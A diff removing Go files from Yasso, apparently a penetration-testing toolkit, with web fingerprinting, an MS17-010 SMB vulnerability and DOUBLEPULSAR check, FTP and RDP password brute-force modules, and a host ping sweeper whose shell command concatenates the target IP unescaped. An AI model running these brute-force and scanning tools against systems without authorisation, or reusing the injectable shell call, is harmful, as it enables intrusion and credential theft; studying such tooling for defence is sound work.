if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
allType := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(allType[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(allType[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(allType[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
}
}
// identify
if RequestRule == "DefaultRequest" {
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
url = DefaultTarget
} else if RequestRule == "CustomRequest" {
url = CustomTarget
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
}
var identifyResult string
var identifyResultNocolor string
for _, result := range identifyData {
if runtime.GOOS == "windows" {
identifyResult += "[" + result + "]" + " "
} else {
identifyResult += "[" + result + "]" + " "
}
}
for _, result := range identifyData {
identifyResultNocolor += "[" + result + "]" + " "
}
Result := []IdentifyResult{
{successType, RespCode, identifyResult, identifyResultNocolor, url, RespTitle},
}
return Result
}
func checkHeader(url, responseHeader string, ruleHeader string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)" + ruleHeader)
if len(grep.FindStringSubmatch(responseHeader)) != 0 {
//fmt.Print("[header] ")
return true
} else {
return false
}
}
func checkBody(url, responseBody string, ruleBody string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)" + ruleBody)
if len(grep.FindStringSubmatch(responseBody)) != 0 {
//fmt.Print("[body] ")
return true
} else {
return false
}
}
func checkFavicon(Favicon, ruleFaviconMd5 string) bool {
grep := regexp.MustCompile("(?i)" + ruleFaviconMd5)
if len(grep.FindStringSubmatch(Favicon)) != 0 {
// fmt.Print("url")
return true
} else {
return false
}
}

View File

@@ -1,140 +0,0 @@
package cmd
import (
"Yasso/config"
"encoding/binary"
"encoding/hex"
"fmt"
"net"
"strings"
"time"
)
//TODO:MS17010
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func Ms17010Conn(info config.HostIn) {
conn, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
//Println()("[!] New Connect failed",err)
return
}
status, err := RequestMs17010(conn, info.Host)
if err != nil {
//Println()("[!] Request Ms17010 failed",err)
return
}
if status == true {
return
}
}
func RequestMs17010(conn net.Conn, ip string) (bool, error) {
defer conn.Close()
err := conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return false, err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return false, err
}
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false, err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return false, err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return false, err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
return false, fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip)
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return false, err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return false, err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
conn.Write(transNamedPipeRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false, err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
Println(fmt.Sprintf("[+] %v Find MS17010 (%s)", ip, os))
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
conn.Write(trans2SessionSetupRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false, err
}
if reply[34] == 0x51 {
fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
}
return true, nil
} else {
fmt.Printf("%s\t \t(%s)\n", ip, os)
}
return false, nil
}

View File

@@ -1,420 +0,0 @@
package cmd
import (
"Yasso/config"
"bytes"
"crypto/md5"
"crypto/tls"
"fmt"
"golang.org/x/net/proxy"
"golang.org/x/text/encoding/simplifiedchinese"
"io/ioutil"
"net/http"
"net/url"
"path"
"regexp"
"strconv"
"strings"
"time"
"unicode/utf8"
)
//TODO: dismap RespLab
type RespLab struct {
Url string
RespBody string
RespHeader string
RespStatusCode string
RespTitle string
FaviconMd5 string
}
func FaviconMd5(Url string, timeout time.Duration, Path string) string {
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial, _ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
} else {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
Url = Url + "/favicon.ico"
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return ""
}
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
//req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6")
//req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
//req.Header.Set("Cookie", "rememberMe=int")
resp, err := client.Do(req)
if err != nil {
return ""
}
defer resp.Body.Close()
body_bytes, err := ioutil.ReadAll(resp.Body)
hash := md5.Sum(body_bytes)
md5 := fmt.Sprintf("%x", hash)
return md5
}
func DefaultRequests(Url string, timeout time.Duration) []RespLab {
var redirect_url string
var resp_title string
var response_header string
var response_body string
var response_status_code string
var res []string
// 设置http请求客户端
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial, _ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
} else {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return nil
}
// 设置默认请求头
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
// 做http请求
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// 获取请求的状态马
var status_code = resp.StatusCode
response_status_code = strconv.Itoa(status_code)
//TODO: 根据请求来拦截状态码如果是30x则需要拦截url进行重定向
if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 {
// 进行重定向
redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求
if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 {
redirect_url = redirect_path
} else {
redirect_url = Url + redirect_path
}
var client *http.Client
if ProxyHost != "" {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
} else {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
// 设置重定向请求
req, err := http.NewRequest("GET", redirect_url, nil)
if err != nil {
return nil
}
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
//TODO: 解决两次的30x跳转问题
var twoStatusCode = resp.StatusCode
responseStatusCodeTwo := strconv.Itoa(twoStatusCode)
if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 {
redirectPath := resp.Header.Get("Location")
if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 {
redirect_url = redirectPath
} else {
redirect_url = Url + redirectPath
}
var client *http.Client
if ProxyHost != "" {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
} else {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET", redirect_url, nil)
if err != nil {
return nil
}
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grepTitle := regexp.MustCompile("<title>(.*)</title>")
if len(grepTitle.FindStringSubmatch(response_body)) != 0 {
resp_title = grepTitle.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
faviconmd5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, resp_title, faviconmd5},
}
return RespData
}
func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab {
var respTitle string
// Splicing Custom Path
u, err := url.Parse(Url)
u.Path = path.Join(u.Path, Path)
Url = u.String()
if strings.HasSuffix(Path, "/") {
Url = Url + "/"
}
var client *http.Client
var dial proxy.Dialer
if ProxyHost != "" {
dial, _ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
}
} else {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
}
// Send Http requests
body_byte := bytes.NewBuffer([]byte(Body))
req, err := http.NewRequest(Method, Url, body_byte)
if err != nil {
return nil
}
// Set Requests Headers
for _, header := range Header {
grep_key := regexp.MustCompile("(.*): ")
var header_key = grep_key.FindStringSubmatch(header)[1]
grep_value := regexp.MustCompile(": (.*)")
var header_value = grep_value.FindStringSubmatch(header)[1]
req.Header.Set(header_key, header_value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// Get Response Body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
var response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
respTitle = grep_title.FindStringSubmatch(response_body)[1]
} else {
respTitle = "None"
}
// Get Response Header for string
var res []string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
var response_header string
for _, re := range res {
response_header += re + "\n"
}
// get response status code
var status_code = resp.StatusCode
response_status_code := strconv.Itoa(status_code)
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, respTitle, ""},
}
return RespData
}
//dismap 解析IP
func ParseUrl(host string, port string) string {
if port == "80" {
return "http://" + host
} else if port == "443" {
return "https://" + host
} else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 {
return "https://" + host + ":" + port
} else {
return "http://" + host + ":" + port
}
}

View File

@@ -1,61 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/spf13/cobra"
"time"
)
var FtpCmd = &cobra.Command{
Use: "ftp",
Short: "ftp burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteFtpByUser()
}
},
}
func BruteFtpByUser() {
if BrutePort == 0 {
BrutePort = 21
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
Println("[*] Brute Module [ftp]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func FtpConn(info config.HostIn, user, pass string) (bool, error) {
var flag = false
c, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), time.Duration(info.TimeOut))
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Host, info.Port), ftp.DialWithNetConn(c))
if err == nil {
err = conn.Login(user, pass)
if err == nil {
if pass == "" {
Println(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
}
flag = true
}
}
return flag, err
}

View File

@@ -1,166 +0,0 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"sync"
"time"
)
var (
BruteDomain string
)
var RdpCmd = &cobra.Command{
Use: "grdp",
Short: "RDP burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteRdpByUser()
}
},
}
func init() {
RdpCmd.Flags().StringVar(&BruteDomain, "domain", "", "set host domain")
}
func BruteRdpByUser() {
if BrutePort == 0 {
BrutePort = 3389
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("rdp", UserDic, PassDic)
Println("[*] Brute Module [rdp]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain)
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改
func RdpConn(info config.HostIn, user, password string) (bool, error) {
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
g := NewClient(target, glog.NONE)
err := g.Login(info.Domain, user, password)
//var err
if err == nil {
return true, nil
}
//return true, err
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string) error {
// 这里做一下修改将dial.Timeout换成GetConn的代理连接
conn, err := GetConn(g.Host, 5*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

View File

@@ -1,159 +0,0 @@
package cmd
import (
"bytes"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
OS = runtime.GOOS // 系统架构
Alive []string // 存活的ip列表
)
var pingCmd = &cobra.Command{
Use: "ping",
Short: "Use ping to scanner alive host (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
} else {
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will ping %d host", len(ips)))
_ = execute(ips, RunICMP)
},
}
func init() {
pingCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap)")
pingCmd.Flags().BoolVarP(&RunICMP, "icmp", "i", false, "Icmp packets are sent to check whether the host is alive(need root)")
rootCmd.AddCommand(pingCmd)
}
func execute(ips []string, r bool) []string {
var wg sync.WaitGroup
// 修改ants池的并发方式
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
var ipt string
if r == true {
// 127.0.0.1:8080格式
if strings.Contains(ip.(string), ":") {
ipt = strings.Split(ip.(string), ":")[0]
} else {
ipt = ip.(string)
}
if icmp(ipt) {
Println(fmt.Sprintf("[+] Find %v (icmp)", ip))
Alive = append(Alive, ip.(string))
}
} else {
if strings.Contains(ip.(string), ":") {
ipt = strings.Split(ip.(string), ":")[0]
} else {
ipt = ip.(string)
}
if ping(ipt) {
Println(fmt.Sprintf("[+] Find %v (ping)", ip))
Alive = append(Alive, ip.(string))
}
}
wg.Done()
})
for _, ip := range ips {
wg.Add(1)
_ = p.Invoke(ip)
}
wg.Wait()
return Alive
}
func ping(ip string) bool {
var cmd *exec.Cmd
switch OS {
case "windows":
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "linux":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false")
case "darwin":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 "+ip+" >/dev/null && echo true || echo false")
default:
cmd = exec.Command("/bin/bash", "-c", "ping -c 1"+ip+" >/dev/null && echo true || echo false")
}
info := bytes.Buffer{}
cmd.Stdout = &info
err := cmd.Start()
if err != nil {
return false
}
if err = cmd.Wait(); err != nil {
return false
} else {
if strings.Contains(info.String(), "true") {
return true
} else {
return false
}
}
}
func icmp(host string) bool {
conn, err := net.DialTimeout("ip4:icmp", host, 1*time.Second)
if err != nil {
return false
}
defer func() {
_ = conn.Close()
}()
if err := conn.SetDeadline(time.Now().Add(1 * time.Second)); err != nil {
return false
}
msg := packet(host)
if _, err := conn.Write(msg); err != nil {
return false
}
var receive = make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
func packet(host string) []byte {
var msg = make([]byte, 40)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = host[0], host[1]
msg[6], msg[7] = byte(1>>8), byte(1&255)
msg[2] = byte(checksum(msg[0:40]) >> 8)
msg[3] = byte(checksum(msg[0:40]) & 255)
return msg
}
func checksum(msg []byte) uint16 {
var sum = 0
var length = len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
return uint16(^sum)
}

View File

@@ -1,30 +0,0 @@
package cmd
import (
"encoding/json"
"fmt"
"os"
)
// 输出json格式数据
type JsonOut struct {
Host string `json:"HostName"`
Ports []int `json:"Ports"`
WeakPass []map[string]map[string]string `json:"WeakPass"`
WebHosts []string `json:"Web"`
}
func Out(filename string, js []JsonOut) {
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0666)
if err != nil {
